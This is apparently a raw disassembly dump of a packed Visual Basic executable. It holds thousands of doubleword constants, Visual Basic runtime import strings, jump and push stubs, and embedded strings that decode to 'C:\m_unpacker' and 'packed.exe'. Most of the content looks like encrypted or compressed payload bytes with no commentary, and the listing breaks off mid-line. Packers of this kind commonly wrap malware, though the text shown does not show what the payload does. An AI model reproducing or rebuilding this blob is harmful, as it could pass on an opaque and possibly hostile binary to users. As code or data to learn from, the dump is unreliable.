0A4D07ABBh dd 749B49Ah, 52000000h, 2DC5Eh, 0E0052500h, 419CBB3Ah dd 0A180786Eh, 0F81C86A7h, 5D1D5F5Eh, 431F7BA8h, 835D8FE6h dd 7BFADAAh, 88325715h, 882E5509h, 15F1959Ah, 80EE5130h dd 8023ABA3h, 2AA3F119h, 84B213DCh, 38FA6CC8h, 82329663h dd 20CAEFA7h, 0B1597C32h, 0E7FE1530h, 0ABB38BF3h, 42E0950Dh dd 0EEA48125h, 0EBAD2CCAh, 3256671Eh, 0D8DAF154h, 5C64F8B9h dd 0D2917918h, 69EC6712h, 8BA1B6D8h, 275D9B0Bh, 37AA2ED1h dd 65D2Ch, 0FF9FB800h, 8F2B4F6Dh, 1DB9DF9Dh, 0AF4F690Fh dd 3ED8FFBDh, 9BC0D82Ch, 2A48DA7Ch, 0C6E4760Ch, 5311039Fh dd 0FC869436h, 8B184E21h, 0D6E6A1A8h, 22062DDh, 803CAA05h dd 5ADAA7A1h, 3257EF9Ah, 30550988h, 0D2F7AF8Ah, 0B74B6A28h dd 0E0837636h, 0E2E387A2h, 0E0E181A0h, 0DC41DB78h, 86740F0Eh dd 6DB9EE2Dh, 223A5B2Eh, 95B05A7Fh, 0AE5BFB19h, 0D4AD5944h dd 1516B49Ah, 0AD000000h, 519FC362h, 478062D9h, 16BABB2h dd 366C0000h, 1B807511h, 0AA3AE005h, 1CBB8B98h, 0BFF3EA67h dd 5E000005h, 0ED83913Dh, 7D3321C9h, 0FADBF57h, 9DD341EDh dd 7A42D076h, 7C1A3922h, 8AAC8EEh, 0A53D641Ah, 36D4F1B7h dd 20839A24h, 0A1A88CB6h, 5433840h, 0FBBB3AE0h, 0E9BD3CDEh dd 0CAEF52AAh, 807C6A45h, 1A9AA7A1h, 3C24FF5Ah, 618EF07Fh dd 0AD906217h, 0B49B48F9h, 2B62h, 0A9082700h, 0A7A1E321h dd 299267DFh, 0EC5Eh, 455C7B00h, 0A7A18015h, 1C21142Eh dd 9D71792Ch, 98580227h, 0D25E68EDh, 25000000h, 17321074h dd 0AA83ACBCh, 0E9C8E7ADh, 0A1A883E1h, 73721031h, 10E55D31h dd 580E61BCh, 0A6A1A883h, 71193CFEh, 870330B1h, 90378EABh dd 0E5ABAD9Eh, 0A0E3F7CEh, 0A51DABADh, 0D4C47CD0h, 28C7AC28h dd 0F3637AF7h, 22000004h, 0B1F76509h, 4167F595h, 0D3918323h dd 610715B9h, 0A6B6A442h, 40E60D56h, 0DC769CD2h, 6909284Eh dd 0FAA0C5FBh, 0F4CF5668h, 0A1A88DE2h, 74774C1Ch, 0BC173210h dd 0ADA4CD12h, 0D88EE13Ch, 8A1A2CEh, 0D4F4EF0h, 54F1B161h dd 8E9C3A5Eh, 4AF2178Fh, 490B8A30h, 0BD480889h, 0A2CEAB22h dd 0A44663A1h, 0FD1F97B6h, 0CE0D5D34h, 4BCBA1A2h, 2044FE8Bh dd 6ECB2667h, 0DCD2164h, 474958Ch, 0C860000h, 842643E9h dd 0F6834305h, 32107405h, 83ACBC17h, 0F6AEADAAh, 0D531D0F7h dd 8ED8BB3Ah, 48A1A8C1h, 0F899E9C8h, 0DABE6712h, 234659FCh dd 0FDABADE1h, 24B15545h, 837E28C8h, 43598h, 27C7E000h dd 0B7537735h, 45E107A5h, 0D77791D7h, 66002745h, 0C398E0F4h dd 521002A4h, 0EE8C9E34h, 7B392BC7h, 14AEBC5Eh, 8D20B609h dd 8EDEA1A8h, 0D3107435h, 0B8B18097h, 2401C19Eh, 0AA26974Dh dd 821D38ADh, 0A1A828D4h, 1877222h, 741DB491h, 0C2C12CA8h dd 0E500DFAAh, 0E686CE4Ah, 0A875DB8Fh, 5C7D25A1h, 0CBBE1BE5h dd 0BEAC4E6Bh, 7961409Fh, 87A1A888h, 0ADC86A1Fh, 0DBBF8C0Dh dd 547B5AFFh, 0F0ABA389h, 8AA9E540h, 0A7C219ECh, 0AF2EC8EFh dd 7F9A18EDh, 0E2B49DBh, 3C586D6Ch, 0CC58FB5Eh, 0B4C84036h dd 627D986Dh, 0A1B6BBFBh, 1B35A51Dh, 0E82ED0CFh, 37C6E69h dd 809B0000h, 0C2E4CDEh, 9ABEFC6Eh, 30486EFCh, 0B9DE9C8Eh dd 0DF3F0F1Dh, 0ABB95D7Ah, 0C755ED15h, 70E280A1h, 0E1731732h dd 7B6F46DFh, 85A1A88Eh, 4762FEF5h, 0A1807A6Ch, 691C84A7h dd 8B0AB0D5h, 96EDAECBh, 269BEA72h, 95315614h, 86945414h dd 41096887h, 0BFA7A18Eh, 0E740A1E6h, 35F54990h, 1BF79340h dd 93E4A73Eh, 8030ADA4h, 93646E01h, 0BB58A1A2h, 0FE2599A1h dd 52275958h, 9890FBAFh, 4564AEh, 8E210000h, 8A72946Eh dd 817A0F62h, 7C571074h, 0A7A1806Ah, 0C96C2C94h, 0AA3C97B2h dd 54A7A180h, 0EB8619ECh, 7CADA491h, 6872346h, 0B9792144h dd 0D9D858CCh, 0A291CC86h, 0F953F0A1h, 988E7D29h, 104E6AEh dd 5FD0000h, 0FE845FE0h, 0D019C629h, 0A48BDFBEh, 2C75A7A1h dd 973453E0h, 1CDC9CA5h, 0E004BE9Dh, 70054746h, 0D5F395B2h dd 55F0B031h, 0A1566C7Ah, 6A2AEAA7h, 15B1D7CFh, 4E21D494h dd 2443E90Ch, 57CD5163h, 37F7542Eh, 11347677h, 0BEE6FB69h dd 0F6A7A1BAh, 872537D3h, 0E239B862h, 10E585A0h, 0ACC9A7E3h dd 88EB4E0Eh, 0ADA4E751h, 132E0B8Bh, 35D47693h, 0A1A2E6A5h dd 0CC16E353h, 0B5DDBBDFh, 99F85D1Dh, 0ABA457E5h, 8BA68333h dd 572EEF0Bh, 0ABA89703h, 0F08545FDh, 0E3711532h, 2BCBE8AAh dd 0A2348FAAh, 5CABA897h, 0DD5124E4h, 5FF312B6h, 2489FF5Eh dd 0C29E3DFFh, 0C8524202h, 5728C4C8h, 1F0839Ah, 0C2F0000h dd 98B2F062h, 264260F2h, 0BCDC9280h, 45620012h, 53ABB3A1h dd 0DF4DE90Eh, 4BD97999h, 0E4760C35h, 1507A3C6h, 0E7F3D24Bh dd 11A1A890h, 20627249h, 24646505h, 10B6DD51h, 0A1496C02h dd 1074C4B3h, 806A7C57h, 4994A7A1h, 0A1806076h, 66269EA7h dd 8D2083A6h, 0AFADA491h, 0D3D3F6F7h, 52F413B5h, 0A4511153h dd 0A291A12Dh, 66C69DA1h, 988E12C4h, 0EE8BAEh, 5100000h dd 0C01F3AE0h, 0A180F9E1h, 0EA9F07A7h, 0D6F6AC8Bh, 35F7A928h dd 296B6A10h, 25C1E65Ch, 0DC8AE500h, 3AA7A180h, 0FEBE6078h dd 5019ECDFh, 1CE93424h, 0E21A0265h, 3752A7A1h, 14D47291h dd 0A5456006h, 97731724h, 0D78913B2h, 0AE5FB92Fh, 0BAA53CDBh dd 5EADA410h, 434774E6h, 0EFA7C267h, 8AA120CAh, 0A258BF2Bh dd 19D959A1h, 0F652F56Ch, 90AFABA4h, 0A805A931h, 1AEF57ABh dd 8DC86BB6h, 9580A71Bh, 67D28465h, 742CABA8h, 0F61D91B4h dd 0D38A29B1h, 0F2B292EDh, 81254260h, 0C4D51311h, 7661E028h dd 0D2h, 96842A4Dh, 614B6D0h, 0B0A24460h, 2634DAF2h, 51C36380h dd 72C3545h, 97BFFD6Fh, 2A4B69FBh, 0C1E49A88h, 0AC690B19h dd 0A89185D5h, 502B73A1h, 7A6C4762h, 84A7A180h, 5F5EFC1Eh dd 0AA85D1Dh, 0A5DB49EDh, 1348DA80h, 0BB3AE005h, 2E3CDEFBh dd 64C19DF9h, 0AA83EF0Dh, 6A8B09ADh, 0D58908C8h, 5A180AB0h dd 0E7BE9B3Fh, 12D8A6E4h, 671EEB9Fh, 0C3DBC604h, 0EA42171Bh dd 821D2247h, 0DB9322D4h, 0A0B27222h, 0E643E702h, 3B8D354Fh dd 0B84DCD38h, 0BB638539h, 7660439Eh, 80DB93E7h, 5F5EF412h dd 0C9A85D1Dh, 0F53D1FBCh, 0E793C7DEh, 0B56DDB93h, 0A34762C0h dd 54FD94B1h, 2BC7EF69h, 0BECBEAAAh, 0A9517537h, 83A61CE9h dd 3FFE6E7h, 86000000h, 0E2051A61h, 0DCF9BD3Ch, 0D6FFBF3Eh dd 0D9F9BD3Ch, 2 dup(0DDFAB839h), 0E2FAB839h, 0DBF9BD3Ch dd 0DEF8BA3Bh, 57FABD3Ch, 0C781E789h, 4, 5704EF83h, 42474FFh dd 24048F5Fh, 7318685Ch, 1C890000h, 0E6895624h, 4C681h dd 0EE830000h, 24348704h, 2414895Ch, 9033568h, 241C8B06h dd 4C481h, 0EC830000h, 24248904h, 4240483h, 4EC815Ah, 89000000h dd 428F241Ch, 2434FF08h, 4C4815Ah, 0FF000000h, 835B2434h dd 0B1E904C4h, 0FAFFFB2Fh, 7F83B52Dh, 5D639F9Ch, 41F204D7h dd 123FB85Dh, 0C5030609h, 0C0FDE0FFh, 0E8F877B7h, 0D8F9498Ah dd 0FE86B83h, 0A7000000h, 67C8264Ch, 617AFED2h, 0C6FF9689h dd 8E0FE2CBh, 3, 5AC38B66h, 0DE8h, 0B6313300h, 0EA1618E3h dd 0AAA83F9Eh, 8B6648D9h, 0C2815EF0h, 5B50h, 583EBF60h dd 820F3595h, 2, 336141B5h, 0FE9FFh, 85170000h, 0E3242972h dd 216A046h, 0B98C77A8h, 1734FFC5h, 5840Fh, 81660000h dd 5914BAF6h, 0EA38E981h, 0BF0F361Eh, 32C181C0h, 0E938A1D3h dd 6, 1275159Dh, 0E981579Eh, 3F9A1897h, 5810Fh, 0EDBE0000h dd 51082B0Ah, 0F3A048Fh, 184h, 830FFC00h, 5, 0F7B70F53h dd 4EF835Bh, 0C6B70F56h, 6CFF815Bh, 0FFFFFA5h, 0FFFF9C85h dd 8DC38AFFh, 914798Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 0E4EFAF4h, 217E9903h dd 9B5897Ch, 8906030Bh, 331D18Dh, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 87ABFDF1h dd 59E61893h, 69BD8922h, 0C706030Ch, 301E185h, 58D406h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 0DFB0EF5Ah, 88BDD70Ch, 0BD85C78Dh, 60321h dd 89000000h, 32D8185h, 56DB8106h, 0FF072F67h, 3324DB5h dd 15BD8B06h, 0FF060323h, 3269195h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0AA404076h dd 0DA2EC2A1h, 9E93F681h, 6A52BDh, 1FB995FFh, 0C08B0603h dd 25CD19EBh, 0F9E4BDDBh, 0BC9CEE46h, 5662A25Eh, 0FCCA38BBh dd 0ED296DD7h, 0E9BD6AECh, 15Ch, 77E705C5h, 6D5C3A43h dd 706E755Fh, 656B6361h, 61700072h, 64656B63h, 6578652Eh dd 3Bh dup(0) a3cannotFindS_P db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0 aThunrtmain db 'ThunRTMain',0 a__vbavartstne db '__vbaVarTstNe',0 dd 82A5CA5h, 1AAEE9h, 17EA6800h, 5EE90609h, 68FFFA67h dd 60918D0h, 0FA6754E9h, 19BF68FFh, 4AE90609h, 68FFFA67h dd 6091A72h, 0FA6740E9h, 1AB168FFh, 36E90609h, 68FFFA67h dd 6091B87h, 0FA672CE9h, 1BDA68FFh, 22E90609h, 68FFFA67h dd 6091C3Ah, 0FA6718E9h, 22D668FFh, 0EE90609h, 68FFFA67h dd 609237Dh, 0FA6704E9h, 243268FFh, 0FAE90609h, 68FFFA66h dd 6092512h, 0FA66F0E9h, 257168FFh, 0E6E90609h, 68FFFA66h dd 6092646h, 0FA66DCE9h, 270668FFh, 0D2E90609h, 68FFFA66h dd 609278Eh, 0FA66C8E9h, 2DC268FFh, 0BEE90609h, 68FFFA66h dd 6092EABh, 0FA66B4E9h, 2F6968FFh, 0AAE90609h, 91FFFA66h dd 1AEFFD02h, 891C7079h, 3B8EC2E7h, 0AB3E5253h, 0C5AF3DC6h dd 6AB4C1Ah, 9A1BFF42h, 689163F6h, 0F9FE9164h, 7CCCCAEBh dd 7105DAE3h, 2AD49759h, 6C2AA243h, 75F3F899h, 14787D10h dd 0B334DBAAh, 0E1FF8A35h, 0AB61C9h, 0E2697512h, 0E0C542EAh dd 0DD43710Bh, 3E95AF89h, 3952936Ah, 0ED000000h, 4B6785F0h dd 0F020B991h, 0C99C770Eh, 0C17B3573h, 0EF0F069h, 23994C77h dd 11FF790Bh, 4660F775h, 502CD5A7h, 0DF731038h, 83B1710Bh dd 4143595Fh, 0D53C936Ah, 0BF000000h, 2AA2432Ah, 0F7C3B247h dd 24E6FE71h, 876A62C9h, 8D5F37F0h, 0E1924BDh, 66CD9877h dd 0F4946366h, 96B28669h, 770E19FDh, 0B6C39443h, 0EDA33F1Fh dd 5205BD08h, 5869CF18h, 0F19513D2h, 0E4BE829h, 40650877h dd 29D6B90Ch, 0A124A449h, 43A82109h, 4114770Eh, 0AAD592FAh dd 4CD6720Ch, 0F2751154h, 3B466167h, 172505BDh, 0E26F08E7h dd 487103h, 20AAC18Fh, 5E25E38Eh, 5A14C3E2h, 9017E68Bh dd 0F9DF17Ah, 0A83D533Eh, 1B8322C7h, 0C0E6D6ADh, 18273528h dd 31C00000h, 0A875D88Ch, 16F84D03h, 826AFFEDh, 0F59A6F7Dh dd 0EB2A98CCh, 0B3D1DABFh, 27A54A2Eh, 553BC052h, 0C4882DC0h dd 0B42DFDBDh, 87105D9h, 452AFB78h, 9F6E28BCh, 177AF6F7h dd 6A697F80h, 4B6785F0h, 11FF4DFFh, 5A14C375h, 0C942E6A0h dd 37710BDFh, 0DFEF68A0h, 9E4D710Bh, 25A24A22h, 0E3710BDFh dd 2CD5A647h, 6F5329BCh, 41273D3Bh, 0E97C936Ah, 8CD32807h dd 0E37A58B4h, 9B117414h, 0A681h, 432A3200h, 0F040D971h dd 0D1BC770Eh, 45D0BF44h, 40C29503h, 725621DDh, 7CE2155Bh dd 0ED785A51h, 149D7217h, 0A36BAC74h, 0EA8D770Eh, 5B3287C5h dd 0A75325Ah, 0EC76D2ECh, 527511ACh, 761AEB87h, 0F6721771h dd 0CAAD592h, 49B9D672h, 50076F09h, 19A27716h, 0E811E64Bh dd 0D6A9D7C9h, 997414E6h, 1741h, 0F29617FAh, 67658E6Fh dd 91F7FC92h, 147680Ch, 0B2D6DBBCh, 0C0510530h, 30C0553Bh dd 0A674D98Fh, 13FA4F1Dh, 0E3A7FE92h, 5D8CE47h, 0E1823271h dd 28BC452Ah, 0F6F79F6Eh, 7F80177Ah, 29CEA243h, 2A443F53h dd 472AA243h, 2E590FB0h, 582D4563h, 0D17931BAh, 770EF038h dd 1D5BD184h, 1210AF0Dh, 51268D75h, 638BDDA8h, 710BD0E6h dd 0CEAAFE22h, 936A2DB6h, 0B7B1h, 18EEC200h, 0B1C9E792h dd 1209C399h, 8B624175h, 9867626Ah, 63804BDDh, 236EBC76h dd 775DED85h, 0F5A27881h, 0D2A54866h, 50B12AFEh, 580FA274h dd 0A11777CDh, 0C3862BCCh, 9F28842Dh, 0FEB8F6F4h, 765B0B5Dh dd 0EB41C87Eh, 72AA92C3h, 0F78469A0h, 0B0900921h, 79ECA472h dd 0A83F1692h, 17987F0Eh, 2E09EC71h, 4AE02B83h, 0DB9A6169h dd 344C54AFh, 52815C2Ch, 95000016h, 1EE3E106h, 8D10747Dh dd 3F82C6EBh, 0AF325657h, 0C1A321CAh, 0AAF4016h, 9E1FF346h dd 6C9567CAh, 0FD029578h, 78D0D6EFh, 7105D7DFh, 2AC8AB5Dh dd 9D2AA243h, 6EBAF4F2h, 75121110h, 0AED5BB2Eh, 6AE34701h dd 0D6770EF0h, 2E04A503h, 7A19D1BCh, 0FF049503h, 0ABA7F8EDh dd 0DA530F0h, 111F673Dh, 0FBB62575h, 23924A51h, 441560EEh dd 0E3B16BE4h, 750AD1F5h, 4147B52Ah, 631FEA16h, 0E70401C7h dd 414718F3h, 0E2CD2036h, 6BF6FB9Ch, 926E9364h, 3A424B3h dd 0EC3C7A78h, 0EDE4C4BBh, 39CCEA71h, 0AE335156h, 718F26C7h dd 0E667FE2Ch, 159FCB06h, 0B9580000h, 30CD5034h, 9E70C58Bh dd 0AE27715h, 7D12E7E5h, 63921074h, 0B596237h, 0BF2DD2A6h dd 2DA3482Ah, 5C30B558h, 2CA58505h, 907105D6h, 432A03E0h dd 46E303A2h, 8068E6D0h, 15604Dh, 0F7F89B00h, 4A6F0C91h dd 0D4DDB306h, 0A4492DB0h, 37BC5D20h, 7624D351h, 0E17418A1h dd 15F8EC11h, 9B6E6287h, 0C49DF3F4h, 0D6ED66C2h, 0A1537105h dd 125E01C2h, 2CB77FAFh, 2ACDA01Ch, 0D9A4C385h, 22FC9FDBh dd 189D713Dh, 0A0EB7B47h, 3DD08AC4h, 0AE33555Ah, 3DA820C9h dd 0BCF2DA56h, 3A7511EAh, 0AE3EBF57h, 9138AC3Bh, 595722C8h dd 0FB530921h, 0F2D16F0Eh, 6B90621Bh, 0CF996461h, 0B9730F9Ah dd 0ECFF891h, 1B914477h, 7783CE5Eh, 0F99A0AA7h, 84AFFA42h dd 0E6512FFEh, 0C5651D9Bh, 0D869ACFFh, 0C9FEEE7Dh, 0A28620BEh dd 0DA616971h, 9B2402Fh, 8E6104A2h, 0E9F56EBAh, 9C4BDA61h dd 947931h, 0E7727307h, 6004E0E5h, 0BAF5FA9Dh, 7A7D4152h dd 8A825F2Fh, 0AD000014h, 0D6BB29CEh, 4528BC45h, 0F75A0EB3h dd 67CA9E1Fh, 897B6992h, 7277184Eh, 0C6E78B1Eh, 545D3F82h dd 25CAAD30h, 0B0981EA7h, 7105D617h, 6F10D365h, 770EF0F6h dd 0F00C643h, 0F09E3B77h, 7613770Eh, 8E770EF0h, 73AFC6E7h dd 20E6D046h, 14379548h, 21F00000h, 9865C89Ch, 6E87D13h dd 721AEFFDh, 0E58A1F4Dh, 0FB3A88DCh, 0A321CAAFh, 0D7B53ADEh dd 450BB042h, 0F4981DF0h, 0C45DEDADh, 387105D5h, 6C01EB88h dd 64616B8Ch, 0AE543F88h, 3CA923C8h, 57311951h, 25751200h dd 4DC8167Ch, 87760BB0h, 0D5BB2E79h, 0EA2E412Ch, 0AFE0D3A2h dd 13D702DFh, 81100000h, 0F885687Ch, 66089DF3h, 0D2BA0F5Dh dd 452ABF2Dh, 9B5A28BCh, 0C3812ACFh, 77159A7Eh, 0E5EB10E2h dd 14787D10h, 64FD4D4Dh, 0D87105D4h, 432A4B28h, 5731B65Ah dd 3BD47432h, 81770EF0h, 0B01D4FDAh, 15B0D8DDh, 0DFE5F327h dd 98996D4Dh, 25h, 4A6B0FDEh, 0F26F75EEh, 2770EF0h, 0F6064A6Bh dd 7739E33Bh, 0C2A67931h, 17F8AFEEh, 7895F573h, 1361h dd 0A2432AFBh, 0F4F29D2Ah, 395019BAh, 6D0004B1h, 0EEE62F9Bh dd 8E6AF176h, 406678D0h, 31A47511h, 81691453h, 0BE6DA104h dd 0CAA3163h, 0E76463Ch, 0CE9C46Fh, 1676771Fh, 4F19E473h dd 0E1E70CE2h, 0E35BB59h, 3A87577h, 961BF84Dh, 0D98807D8h dd 27A14A2Bh, 0C5871DA2h, 513C4C28h, 0FEAD3FC4h, 0B9731246h dd 0E33F891h, 1B914477h, 7BCFA576h, 770E33E2h, 18A1735Eh dd 238E1570h, 957E86ADh, 6B25996Ch, 400099B1h, 0E97C770Eh dd 0E3F26BFh, 0C1C9A77h, 770E3F93h, 199762E9h, 19203h dd 6947900h, 1D2DEBFDh, 770E3F84h, 2A866DF8h, 6785F0A9h dd 1E29FF4Bh, 0A3E77512h, 0BBF0E87h, 18E77271h, 4F27C670h dd 0DEBFD2AEh, 5122B7D5h, 7B1820A8h, 0B5710BCEh, 238EDEE3h dd 0BA21AB4Ch, 0F4E4567Ah, 25CEA342h, 44276B4Fh, 0BD2FD4A1h dd 5C394C28h, 0B763157h, 0DF75D5EDh, 5D6F0ED9h, 711BA076h dd 72DF8914h, 0ED70149Dh, 5DE5E70Ch, 770EB1C2h, 5E3CD167h dd 0DA563355h, 17F8B2E6h, 8A6BFE92h, 0F99A6761h, 0A426708h dd 0B98F05Fh, 0F08DC509h, 566E85CBh, 4D996D13h, 0B5D7D8B8h dd 0CB7F661Ah dd 0D2B97172h, 384456h, 2AF70000h, 412CBC45h, 0FC410BB0h dd 6EF3951Eh, 91696388h, 9143095Dh, 591C100Ch, 0E39B28B7h dd 0AE880129h, 61F4770Eh, 2B63B78Bh, 42FBD46h, 996D1000h dd 0AEFFh, 47017800h, 0EF06AE3h, 0A503D677h, 0F1A26F1Ah dd 384B7326h, 0C059730Ch, 3C770DF1h, 84A4C2A9h, 75110A86h dd 9A6761F4h, 0D7B6F0F9h, 0ADC1BF40h, 0D6B63BD8h, 4701AA4Bh dd 0C06822C4h, 710B1947h, 764A26B5h, 668B6822h, 7ABBC162h dd 56B49369h, 2000000h, 1567E048h, 6D5710Bh, 88F029AAh dd 0F4FE8FAAh, 0D9A40905h, 0EF4089A1h, 0A93C770Eh, 0ED7A173Fh dd 506C770Eh, 0C0E8900Ch, 7132C7A6h, 36B2199Eh, 0ED67D078h dd 6D5770Eh, 0E1AD442h, 770EED95h, 0F629D2A7h, 10908563h dd 0E6000000h, 42982735h, 0C7BDCC7Ah, 425A4Ch, 2AD90000h dd 0CB54744h, 2AA2095Ch, 5F0DB647h, 0E68029CAh, 1E4E6F07h dd 0EA9DED4Bh, 0CF49039Dh, 56CF5B15h, 0AA770EF0h, 0F074ED3Fh dd 1DC8770Eh, 5A9787A7h, 3BF9ABD6h, 52FB0117h, 23F4996Dh dd 700000Ch, 6A8F6C01h, 3E896762h, 0ED355751h, 0FDAA2479h dd 0F99314FBh, 6F798214h, 8D0D516Dh, 0EEA3EE2h, 0FC219F6h dd 2EF1h, 83F00200h, 64FD4D65h, 0D8770EF0h, 7CB35B0Dh dd 0B4DE622Ch, 44294488h, 0B5E0EB3h, 857E86ADh, 4025EFF9h dd 85D0FB0h, 271AEACh, 0F0C90000h, 67886583h, 0A2432AE4h dd 0C3615304h, 603EC940h, 8E9C2F5Fh, 0C2BE44F7h, 93440241h dd 5A988309h, 28AB01ADh, 6D568074h, 267F98h, 0F0F80000h dd 1886583h, 0EF0AB29h, 0E1420977h, 442A8201h, 58C2C975h dd 60348065h, 8865F05Fh, 275A72F1h, 0D9000000h, 886583F0h dd 0F0AB2901h, 0EEA8770Eh, 0EF0C15Ah, 0DDA83F77h, 2A820160h dd 0F1C6BF44h, 546CE4B7h, 3E2B7585h, 2C6FC142h, 48B8F61Dh dd 0E079D1A7h, 5CB4EFB4h, 8F34DA89h, 36D9AC20h, 5D329FB1h dd 24587C54h, 2ED7BEF0h, 0BC29A348h, 9DC9AD1h, 5F0A4267h dd 0C4E98CE1h, 5D0D25CCh, 362B32E5h, 66C43B78h, 362B68Ah dd 164CB550h, 89FC0B6Fh, 909F207Ah, 28BD3BF3h, 4D05A045h dd 0E91EB793h, 3D62B4EFh, 5C4BB22Eh, 0A400EF8Dh, 97892EC1h dd 7311553Ah, 0C1B4EF70h, 37BB5C1Ah, 24265ED6h, 0B7D3F349h dd 9DFC26F9h, 69A5C6ADh, 237BAF93h, 550FAB4Ch, 0EF9B5CF5h dd 0BF35A0B4h, 618A6F02h, 0D2D7A449h, 606F3656h, 0AEE03468h dd 0F2AC20C9h, 0FD7B7C13h, 0C6E005E8h, 9BA33C0Ch, 6E67B4EFh dd 555CBF11h, 0B309DCF7h, 0ED593E93h, 0B4EF426Fh, 0BF58F0AAh dd 3DB4EF42h, 64F3D2AEh, 8AD412Ch, 5C1BFD40h, 14F21D91h dd 0A028B7FEh, 7CDE0232h, 24478BA9h, 0B309AE41h, 0FBB637DEh dd 247C8114h, 0A267A8Dh, 0C4E98CC6h, 7E1CF1A9h, 3EAFF75h dd 2ACFA2E2h, 85109579h, 0AE4F268Bh, 0EBC1533Eh, 0EF07C65Fh dd 0C0AF3AB4h, 0A8FC3088h, 0DA0E326Eh, 6330ED80h, 0FAB4F35Eh dd 76FE840h, 1ECDB4EFh, 4C1CA54Bh, 2A20A319h, 67C1A243h dd 6088F0E4h, 44B79546h, 4CDF2D12h, 288B492Bh, 0BF359AAEh dd 18102C4h, 912D305Eh, 0FC78275Fh, 6C75BDB7h, 37BA98h dd 0F0C50000h, 1836088h, 0EF0AB29h, 69AD6E77h, 0FC390881h dd 1ECDE440h, 2A8201A5h, 0F1C3A049h, 0B42DFDB7h, 44770EF0h dd 47120DB6h, 395A6AE9h, 1C000000h, 0AB01A649h, 6088F028h dd 0AB290183h, 0A8770EF0h, 0DE8E33C5h, 1473C8Bh, 0D3D0A647h dd 0B4D1BB3Ch, 2AD05329h, 4C06A049h, 0BAD2D7B9h, 0F064FD2Fh dd 0DD8770Eh, 72F13CB7h, 0EEB006Fh, 0E094E77h, 0E73ED773h dd 0D782770Eh, 78993182h, 0FD3A8EEDh, 6F35FFFFh, 770EF0F2h dd 5F0DABD8h, 0CD9F24CAh, 0EF0AC25h, 3BBC5C77h, 8429CC51h dd 6CB06CC4h, 375B59D2h, 7C10997Fh, 0E1E70CE9h, 36E9BEC6h dd 1F59FD48h, 78088DCh, 75770E1Ah, 0C7711BE6h, 0CDAB5026h dd 3BE69BFDh, 6B3DDD39h, 0B86C46DFh, 402FBA34h, 0D0D5A508h dd 0E529EBB8h, 0C2160A55h, 16C9CED6h, 2498957h, 2CEF0000h dd 49A7E19h, 3F0BA7D1h, 34B8A4A6h, 72F14F1Ah, 67886C01h dd 0A4846065h, 770EF026h, 41797702h, 1E6A09Eh, 88647E43h dd 5EB07ACEh, 56097511h, 0AB681E1Bh, 9BBA36B2h, 633598CCh dd 0C266205Eh, 710B8749h, 244420B7h, 5537BC59h, 0B26B02E3h dd 1E4ED5DAh, 73DEDFB3h, 0FE0390F5h, 30AED9EEh, 4C29BC76h dd 5BE1C9A7h, 0BE6F0E8Ch, 2D2ACC1Dh, 17ED525Ah, 0C208AB3Eh dd 9FE6D08Fh, 0D3B12CFh, 1DFC0000h, 9461F498h, 294796Fh dd 6E06EBF9h, 0E1B61B49h, 0FF3EB4D8h, 0AF3DC6ABh, 0D3B136DAh dd 4107AC4Eh, 0F09419FCh, 0C841E9A1h, 347105CEh, 432AE784h dd 0FA93B771h, 46770EF0h, 0F020B993h, 39C770Eh, 8261D600h dd 395E2544h, 0FA50AE31h, 0C28A11C2h, 5724DAA5h, 555E3F52h dd 0A498B0CEh, 0A27507CBh, 4EA7B37h, 5E2FE9FFh, 305537BCh dd 0BA3FD1B4h, 0FFA84FD2h, 0ADB05D18h, 90E9F711h, 0BB064305h dd 648D6EFFh, 5736E088h, 0C45538C1h, 8BF6413Fh, 6BF5556Dh dd 0D16F08B3h, 3BD96B0Ah, 6606E6DAh, 0C94EBh, 23C45700h dd 0B63BD8ADh, 0A94FD2h, 9015F94Ch, 638869FCh, 258876Dh dd 0BD00446Dh, 21B4D8DDh, 573AAE53h, 8A93FC0h, 0CD21BA8Eh dd 0ED9F7105h, 0A2432A0Eh, 0F4F29D2Ah, 8F6D00BAh, 0F632B5A0h dd 0AC3B9B90h, 9092F8D0h, 3D907511h, 5530585Dh, 60379ACEh dd 137E095Fh, 764DDD95h, 0CA6F0486h, 0EFA9631Fh, 485C25Bh dd 0CDAB3E77h, 0AEE7D6B8h, 4BCFFF37h, 48942B2Eh, 6AF1F8AAh dd 954FC99Fh, 42D1CB5h, 7FF56077h, 6D7F846Ah, 80C8ED80h dd 19A27716h, 4B6914A3h, 43911B2Fh, 2EE87507h, 503811Ah dd 8C68FF71h, 0AB8F26B5h, 28E0D9ABh, 0BDF8D40h, 79180000h dd 0F08D1074h, 5E3085CBh, 0CAA23755h, 3DD2A725h, 0A352D0B4h dd 0CB9922F7h, 7F6D9266h, 0EDE308EAh, 1C707518h, 6CE54545h dd 0D07105CCh, 47014320h, 0EF06AE3h, 729A877h, 4A5D637Ah dd 26C99C4Bh, 0AF462B81h, 5E295E0Eh, 0FC022640h, 7A7511B7h dd 8714F9EFh, 9136F0A8h, 836EB94Dh, 6D9678CDh, 0D8DDB055h dd 0F04B085Ch, 0FF4B6785h, 7511F5B1h, 4890F86Fh, 710BD5CBh dd 7A129765h, 74050697h, 0E3E8E04Fh, 923D9DC1h, 667E7AAEh dd 61936A37h, 84h, 6A492A92h, 6E87F8Bh, 86C6AD68h, 19515A3Bh dd 0A503A474h, 139478C5h, 0E2079479h, 0BF5D30EEh, 0B937523Ah dd 4D65830Eh, 11BC6BFDh, 41E9A175h, 710B9EC8h, 0A10CC04Ah dd 958CD22Bh, 14387BC6h, 0E9E0D3EBh, 0AFFCC01h, 59380000h dd 0D0AD3054h, 3ED0A52Bh, 0AA42D7B5h, 1DF24705h, 0C372F094h dd 0EBF90297h, 1F4D7206h, 8DC3E88Ah, 3C505538h, 8C052565h dd 0F07105CBh, 492AA340h, 56292CA0h, 54000000h, 28A0492Ah dd 0B8F6F49Fh, 0F0B12AFEh, 580F770Eh, 86A2DCh, 7E7511F6h dd 5D5AC8EBh, 0E787E0D3h, 0AA06Ah, 37B85B00h, 8A2FCC51h dd 149D73C6h, 0E409ED70h, 777C1DE0h, 36649311h, 0A1345861h dd 0D5B82CD1h, 5B2EA247h, 45D33B4h, 0CB2DA682h, 0E1937105h dd 0A6470102h, 66FF29CEh, 0DA770EF0h, 811120C5h, 0E9557D2h dd 0C73FD870h, 2EBD770Eh, 